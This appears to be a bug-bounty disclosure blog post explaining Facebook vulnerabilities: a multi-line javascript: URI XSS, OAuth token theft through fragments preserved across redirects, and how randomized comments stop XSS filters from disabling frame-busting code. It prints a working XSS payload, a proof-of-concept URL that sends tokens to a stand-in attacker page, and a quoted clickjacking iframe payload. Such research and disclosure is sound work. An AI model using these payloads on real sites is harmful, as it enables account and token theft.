Introduction
In the past few weeks, I’ve reported a number of security
vulnerabilities to Facebook as a part of its Security Bug Bounty
program. While a few of the issues I reported were standard web
application vulnerabilities (ie: a DOM-based XSS, an endpoint on the
Developers site that did not enforce CSRF protection), others were a bit
less common and exploiting them was more challenging. Those less common
vulnerabilities are the focus of this blog post; my goal is to describe
the vulnerable code and the constraints that I faced, as well as to
explain how I ultimately exploited the vulnerability.
1. Constructing a multi-line JavaScript URI
This example involved a reflected XSS vulnerability on
https://www.facebook.com/connect/prompt_feed.php using a query
string parameter called callback
. The parameter was meant to be a URL
which users would be redirected to via JavaScript (setting
document.location
) after submitting the form or hitting the Skip
button on the page. However, the URL wasn’t validated very strictly on
the backend: the only restriction I ran into was the need for a dot
character, which led me to transform my initial alert(1)
payload into
window.alert(1)
.
My first instinct was to try something simple like
javascript:window.alert(1)
. However, I found out the JavaScript on the
page was parsing and transforming my callback URL before using it. My
input was considered a relative URL, which caused a new URL to be
generated that looked like
https://www.facebook.com/javascript:window.alert(1)
. The same thing
happened if I tried prefixing my URL with whitespace. I then tried
javascript://window.alert(1)
, which was correctly parsed (albeit with
a slash appended). That posed an issue since the double slashes were
being treated as a comment in JavaScript (and were preventing me from
using other protocols, like data
or vbscript
).
To work around the comment, I introduced newline characters before my
payload. This technique was apparently very effective in 2007 (see
http://sla.ckers.org/forum/read.php?2,13209,page=1#msg-13248) but I
could only get it to work in Safari 5.1 (I also tested it in IE 6/7/8/9,
Firefox 5, and Chrome 13 on Windows). I also stuck //
at the end of my
payload to remove the trailing slash.
In the end, my exploitable callback
parameter looked like this:
| callback=javascript://anything%0D%0A%0D%0Awindow.alert(1)//
|
2. Redirects preserve fragment portion of URL
This example had two separate but equally important parts:
- I needed a way to generate an OAuth token for a particular
application as the currently logged in user. To do that, I made a
call to https://www.facebook.com/connect/uiserver.php with the
target application’s ID. For the ‘next’ URL parameter, I needed a
URL that was considered a valid callback location by the
application. Luckily, all applications allowed redirects to
Facebook.com. The token information was appended to the URL via the
fragment (ie:
http://www.facebook.com/#access_token=…).
- I then needed a way to redirect the user from Facebook.com to a
third-party site. To do so, I set up my own application with my site
as the domain. I then used
https://www.facebook.com/extern/login_status.php to redirect
users to my site via a 302 redirect.
Remember the fragment from step 1, which contained a user OAuth token
for an application? Despite the fact that the fragment was never sent to
the server, some browsers preserved it in the URL across the redirect
(even cross-origin). As a result, I was able to read the fragment via
JavaScript, giving me access to an OAuth token that didn’t belong to my application.
My proof of concept URL looked like this:
| https://www.facebook.com/connect/uiserver.php?
app_id=VICTIM_APP_ID&
method=permissions.request&
display=page&
next=https%3A%2F%2Fwww.facebook.com%2Fextern%2Flogin_status.php%3F
app_id%3DMY_EVIL_APP_ID%26
no_session%3Dhttps%3A%2F%2Fexample.com%2Fevil.html%26
ok_session%3Dhttps%3A%2F%2Fexample.com%2Fevil.html&
response_type=token&
fbconnect=1
|
I personally verified this behavior (that the fragment was preserved
over cross-origin redirects) in Firefox 5 and Chrome 13. I also verified
that IE9 does not exhibit the same behavior. According to a Microsoft
blog post, this behavior also exists in Opera but not in Safari. For
anyone who’s interested in exploring further, Fiddler set up some test
cases to demonstrate the behavior. This StackOverflow question
also has some good information on the subject.
3. XSS Filters can be used to bypass clickjacking
This example is actually not about an issue that I reported to Facebook.
Instead, it’s about an interesting portion of Facebook’s clickjacking
prevention that I recently noticed.
Facebook, as some sites have noted, does not use the
X-Frame-Options
header to prevent clickjacking on most pages. Instead,
it relies on a bit of JavaScript which I’ve de-obfuscated and reproduced below:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28 | <script type="text/javascript">
/*<![CDATA[*/
function si_cj(m) {
setTimeout(function() {
new Image().src = "http:\/\/error.facebook.com\/common\/scribe_endpoint.php?c=si_clickjacking&t=1273" + "&m=" + m;
}, 5000);
}
if (top != self) {
try {
if (parent != top) {
throw 1;
}
var si_cj_d = ["apps.facebook.com", "\/pages\/", "apps.beta.facebook.com"];
var href = top.location.href.toLowerCase();
for (var i = 0; i < si_cj_d.length; i++) {
if (href.indexOf(si_cj_d[i]) >= 0) {
throw 1;
}
}
si_cj("3 ");
} catch (e) {
si_cj("1 \t");
window.document.write("\u003cstyle>body * {display:none !important;}\u003c\/style>\u003ca href=\"#\" onclick=\"top.location.href=window.location.href\" style=\"display:block !important;padding:10px\">\u003ci class=\"img sp_264sql sx_c60685\" style=\"display:block !important\">\u003c\/i>Go to Facebook.com\u003c\/a>"); /*_UIBLMIm*/
}
} /*]]>*/
</script>
|
The part of the code that I want to highlight is a seemingly simple
comment: /*_UIBLMIm*/
(you may have to scroll to see it). This comment
is included at the end of the last line of the catch
block. It’s
actually not a static comment, as it might at first appear: the value
inside of it changes on every pageview.
Why does it behave that way? Because of XSS filters.
We can look to “Busting frame busting,” an excellent research paper
on clickjacking from 2010, for a more thorough explanation. In Section
3.4, the authors describe the ways in which XSS filters in different
browsers can impact JavaScript-based framebusting code. In the case of
XSSAuditor, which is used in Chrome and Safari, an attacker can target
and disable a particular block of JavaScript (for instance, a block
containing clickjacking prevention code). I’ve quoted the relevant
information from the paper below:
The XSSAuditor filter deployed in Google Chrome, gives the attacker
the ability to selectively cancel a particular script block. By
matching the entire contents of a specific inline script, XSSAuditor
disables it.
This enables the framing page to specifically target a snippet
containing the frame busting code, leaving all the other
functionalities intact. XSSAuditor can be used to target external
scripts as well, but the filter will only disable targeted scripts
loaded from a separate origin.
Example. victim frame busting code:
| if (top != self) {
top.location=self.location;
}
|
Attacker:
| <iframe src="http://www.victim.com/?
v=if (top+!%3D+self)+%7B+top.location%3Dself.location%3B+%7D">
|
Here the Google Chrome XSS filter will disable the frame busting
script, but will leave all other scripts on the page operational.
Consequently, the framed page will function properly, suggesting that
the attack on Google Chrome is more effective than the attack on IE8.
So by adding the randomized comment, Facebook prevents an attacker from
being able to include the clickjacking prevention JavaScript in the URL,
which makes it impossible to disable the clickjacking protection via XSSAuditor.
Conclusion
I’d like to thank the Facebook Security Team for their quick responses
to my reports. I’d also like to thank them for organizing this security
bug bounty program and for supporting responsible disclosure in general.